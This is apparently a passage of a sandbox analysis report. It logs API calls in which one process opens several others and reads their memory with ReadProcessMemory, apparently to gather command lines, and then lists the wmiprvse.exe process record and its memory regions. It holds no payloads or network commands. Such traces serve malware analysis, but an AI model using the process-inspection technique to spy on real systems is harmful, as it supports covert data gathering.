NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.208] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.208] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.208] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.208] malloc (_Size=0x5e) returned 0x20abc280290 [0294.208] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701aae, lpBuffer=0x20abc280290, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0294.209] free (_Block=0x20abc280290) [0294.210] CloseHandle (hObject=0x16c) returned 1 [0294.210] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0294.214] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2904") returned 4 [0294.215] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.215] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.227] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x16c [0294.227] GetLastError () returned 0x0 [0294.228] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc22fc240, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.280] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.281] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.281] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.282] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.282] malloc (_Size=0x58) returned 0x20abc2a77e0 [0294.282] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2a77e0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a77e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.283] free (_Block=0x20abc2a77e0) [0294.283] CloseHandle (hObject=0x16c) returned 1 [0294.284] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0294.287] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3264") returned 4 [0294.288] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.288] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.300] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x16c [0294.300] GetLastError () returned 0x0 [0294.301] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.301] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.302] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.304] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.304] malloc (_Size=0xda) returned 0x20abc284e70 [0294.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc284e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0294.305] free (_Block=0x20abc284e70) [0294.306] CloseHandle (hObject=0x16c) returned 1 [0294.306] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0294.310] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3324") returned 4 [0294.311] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.311] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x16c [0294.333] GetLastError () returned 0x0 [0294.334] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.336] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.337] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.337] malloc (_Size=0xf0) returned 0x20abc284e70 [0294.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0294.338] free (_Block=0x20abc284e70) [0294.339] CloseHandle (hObject=0x16c) returned 1 [0294.340] _ui64tow_s (in: _Value=0xd18, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3352") returned 0x0 [0294.343] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3352") returned 4 [0294.344] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.344] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd18) returned 0x16c [0294.357] GetLastError () returned 0x0 [0294.357] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.358] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.358] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.358] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.358] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.359] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.360] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6175995020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.361] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.361] malloc (_Size=0xf0) returned 0x20abc284e70 [0294.361] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc284e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0294.362] free (_Block=0x20abc284e70) [0294.363] CloseHandle (hObject=0x16c) returned 1 [0294.366] free (_Block=0x20abc286d60) [0294.366] malloc (_Size=0x48) returned 0x20abc27cf80 [0294.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd390 | out: lpSystemTimeAsFileTime=0x2dc22fd390*(dwLowDateTime=0x6b382433, dwHighDateTime=0x1d9eb0c)) [0294.367] SetEvent (hEvent=0x248) returned 1 [0294.573] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402290 [0294.574] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402290, pulNumLanguages=0x2dc22fdde0 | out: pulNumLanguages=0x2dc22fdde0) returned 1 [0294.574] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402290) returned 1 [0294.574] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402150) returned 1 Thread: id = 137 os_tid = 0x11bc Thread: id = 138 os_tid = 0x11ac Thread: id = 148 os_tid = 0x12d8 Thread: id = 244 os_tid = 0x13d0 Thread: id = 284 os_tid = 0xd9c Process: id = "9" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x38837000" os_pid = "0xf8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac17" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2984 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2985 start_va = 0x5660a40000 end_va = 0x5660abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660a40000" filename = "" Region: id = 2986 start_va = 0x5660b40000 end_va = 0x5660bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660b40000" filename = "" Region: id = 2987 start_va = 0x5660c00000 end_va = 0x5660dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660c00000" filename = "" Region: id = 2988 start_va = 0x5660e80000 end_va = 0x5660efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660e80000" filename = "" Region: id = 2989 start_va = 0x5660f00000 end_va = 0x5660f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660f00000" filename = "" Region: id = 2990 start_va = 0x5660f80000 end_va = 0x5660ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005660f80000" filename = "" Region: id = 2991 start_va = 0x5661100000 end_va = 0x566117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005661100000" filename = "" Region: id = 2992 start_va = 0x5661180000 end_va = 0x56611fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005661180000" filename = "" Region: id = 2993 start_va = 0x2117e2b0000 end_va = 0x2117e2bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e2b0000" filename = "" Region: id = 2994 start_va = 0x2117e2c0000 end_va = 0x2117e2c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e2c0000" filename = "" Region: id = 2995 start_va = 0x2117e2d0000 end_va = 0x2117e2e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e2d0000" filename = "" Region: id = 2996 start_va = 0x2117e2f0000 end_va = 0x2117e2f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e2f0000" filename = "" Region: id = 2997 start_va = 0x2117e300000 end_va = 0x2117e300fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e300000" filename = "" Region: id = 2998 start_va = 0x2117e310000 end_va = 0x2117e311fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e310000" filename = "" Region: id = 2999 start_va = 0x2117e320000 end_va = 0x2117e326fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e320000" filename = "" Region: id = 3000 start_va = 0x2117e330000 end_va = 0x2117e330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e330000" filename = "" Region: id = 3001 start_va = 0x2117e340000 end_va = 0x2117e340fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e340000" filename = "" Region: id = 3002 start_va = 0x2117e350000 end_va = 0x2117e354fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3003 start_va = 0x2117e360000 end_va = 0x2117e45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e360000" filename = "" Region: id = 3004 start_va = 0x2117e460000 end_va = 0x2117e51dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3005 start_va = 0x2117e520000 end_va = 0x2117e520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e520000" filename = "" Region: id = 3006 start_va = 0x2117e530000 end_va = 0x2117e530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e530000" filename = "" Region: id = 3007 start_va = 0x2117e540000 end_va = 0x2117e540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e540000" filename = "" Region: id = 3008 start_va = 0x2117e5d0000 end_va = 0x2117e5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117e5d0000" filename = "" Region: id = 3009 start_va = 0x2117e5e0000 end_va = 0x2117e916fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3010 start_va = 0x2117e920000 end_va = 0x2117eaa7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117e920000" filename = "" Region: id = 3011 start_va = 0x2117eab0000 end_va = 0x2117ec30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117eab0000" filename = "" Region: id = 3012 start_va = 0x2117ec40000 end_va = 0x2117ecfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002117ec40000" filename = "" Region: id = 3013 start_va = 0x2117ed00000 end_va = 0x2117edfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002117ed00000" filename = "" Region: id = 3014 start_va = 0x7df5ff5a0000 end_va = 0x7ff5ff59ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff5a0000" filename = "" Region: id = 3015 start_va = 0x7ff6e5bf0000 end_va = 0x7ff6e5ceffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e5bf0000" filename = "" Region: id = 3016 start_va = 0x7ff6e5cf0000 end_va = 0x7ff6e5d12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e5cf0000" filename = "" Region: id = 3017 start_va = 0x7ff6e6300000 end_va = 0x7ff6e637ffff monitored = 0 entry_point = 0x7ff6e6315f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 3018 start_va = 0x7ffb03360000 end_va = 0x7ffb033acfff monitored = 0 entry_point = 0x7ffb0336b470 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 3019 start_va = 0x7ffb0f770000 end_va = 0x7ffb0f794fff monitored = 1 entry_point = 0x7ffb0f785dc0 region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 3020 start_va = 0x7ffb10fe0000 end_va = 0x7ffb10ff5fff monitored = 0 entry_point = 0x7ffb10fe55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 3021 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3022 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3023 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3024 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3025 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 1 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3026 start_va = 0x7ffb14620000 end_va = 0x7ffb1465cfff monitored = 1 entry_point = 0x7ffb1462b760 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 3027 start_va = 0x7ffb18250000 end_va = 0x7ffb182b3fff monitored = 0 entry_point = 0x7ffb18265ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3028 start_va = 0x7ffb18e20000 end_va = 0x7ffb18e30fff monitored = 0 entry_point = 0x7ffb18e23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 3029 start_va = 0x7ffb1bcc0000 end_va = 0x7ffb1bcf0fff monitored = 0 entry_point = 0x7ffb1bcc7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3030 start_va = 0x7ffb1c660000 end_va = 